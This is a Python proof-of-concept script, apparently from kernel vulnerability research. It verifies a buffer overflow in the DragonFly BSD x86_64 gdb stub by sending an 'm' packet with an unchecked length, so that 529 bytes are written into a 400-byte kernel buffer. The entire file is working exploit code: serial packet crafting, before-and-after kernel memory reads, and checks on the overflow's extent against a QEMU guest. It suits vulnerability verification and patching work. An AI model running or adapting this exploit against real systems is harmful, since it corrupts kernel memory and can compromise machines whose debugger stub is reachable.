DF-2362 / exp_m_overflow.py
#!/usr/bin/env python3 # exp_m_overflow.py -- DF-2362 verification (part 1): 'm' packet unbounded # length overflows the 400-byte static remcomOutBuffer (kernel BSS write). # # Claim (sys/cpu/x86_64/misc/x86_64-gdbstub.c:579-594 + mem2hex:313-328): # mem2hex((vm_offset_t)addr, remcomOutBuffer, length) writes 2*length hex # chars + NUL with NO bound on `length` (hexToInt has no range check). # Any length > 200 corrupts kernel memory past remcomOutBuffer[400]. # # Proof on the live guest: # ROut = 0xffffffff817a6f20 (nm: remcomOutBuffer), 400 bytes. # 1. snapshot [ROut+400, ROut+400+0x110) via SAFE m packets (chunk<=192, # 2*192+1 <= 400 so the snapshot itself stays in bounds), # 2. send m<ROut>,108 (length 0x108 = 264 -> writes 529 bytes into a # 400-byte buffer -> 129 bytes past the end, attacker-chosen extent), # 3. re-read [ROut+400, ...) -> changed, every byte in [0-9a-f] # (the written alphabet is hexchars[]), boundary exactly at 529, # 4. '?' sanity + 'D' detach; the smashed tail is alignment padding + # remcomInBuffer residue (self-healing), noted honestly. import sys, os, time, subprocess, json sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)))) from rsp import SerialPeer, parse_t05 SOCK = os.environ.get("DF_SOCK", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/df236x/ser.sock") VMSH = os.environ.get("DF_VMSH", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/vm.sh") RAWLOG = os.environ.get("DF_RAWLOG", "/tmp/opencode/p2362m-raw.log") ROUT = 0xffffffff817a6f20 # nm -n /boot/kernel/kernel RIN = 0xffffffff817a70c0 def trigger_and_handshake(p): print("[*] triggering stub entry (sysctl debug.enter_debugger=gdb)") try: subprocess.run([VMSH, "run_root", "sysctl -w debug.enter_debugger=gdb"], timeout=8, capture_output=True) except subprocess.TimeoutExpired: print("[*] ssh blocked as expected (kernel stopped in stub)") m = p.wait(r"\$T[0-9a-fA-F]{2}[^#]*#[0-9a-fA-F]{2}", 25) if m is None: print("[!] no T-packet from stub"); sys.exit(2) t05 = parse_t05(m.group(0)[1:-3].decode()) p.send(b"+") print("[+] stub up: rip=%s" % t05.get("10")) return t05 def main(): results = {} p = SerialPeer(SOCK, RAWLOG, name="m-overflow") trigger_and_handshake(p) r = p.pkt("?"); print("[+] '?' -> %r" % r) N = 0x108 # attacker length: 264 bytes tail_start = ROUT + 400 before = p.read_mem(tail_start, 0x110) print("[*] [ROut+400, +0x510) before:\n %s" % before.hex()) # the overflow itself: 264-byte read -> 529-byte write into 400-byte buf r = p.pkt("m%x,%x" % (ROUT, N), timeout=30) print("[+] m<ROut>,%x reply length = %s chars (expect %d = 2*len)" % (N, len(r) if r else None, 2*N)) results["m_reply_len"] = len(r) if r else -1 after = p.read_mem(tail_start, 0x110) print("[*] [ROut+400, +0x510) after:\n %s" % after.hex()) hexset = set(b"0123456789abcdef") changed = sum(1 for a, b in zip(before, after) if a != b) allhex = all(c in hexset for c in after[:128]) print("[%s] tail changed bytes=%d, first 128 all-hex-alphabet=%s" % ("+" if (changed and allhex) else "-", changed, allhex)) # exact extent: the write is 2*264+1 = 529 bytes -> ROut[400..527] hex # chars, ROut[528]=NUL, ROut[529+]=untouched extent_ok = all(c in hexset for c in after[:128]) and \ after[128] == 0 and after[129:137] == before[129:137] print("[%s] write extent ends exactly at buffer+529 (2*length+1): %s" % ("+" if extent_ok else "-", extent_ok)) results["overflow_written"] = bool(changed >= 100 and allhex) results["extent_exact"] = bool(extent_ok) # adjacent-buffer collateral: remcomInBuffer starts at ROut+416 rincoll = after[:129][16:32] print("[*] remcomInBuffer[0:16] (ROut+416) now: %s" % rincoll.hex()) r = p.pkt("?") print("[%s] stub still responsive after overflow: '?' -> %r" % ("+" if r == "S05" else "-", r)) results["stub_alive"] = (r == "S05") d = p.pkt("D") print("[+] detach -> %r" % d) p.wait(r" restarted|db: |panic", 10) time.sleep(2); p.pump(); p.close() print("[RESULT] " + json.dumps(results)) sys.exit(0 if results["overflow_written"] and results["extent_exact"] else 1) if __name__ == "__main__": main() |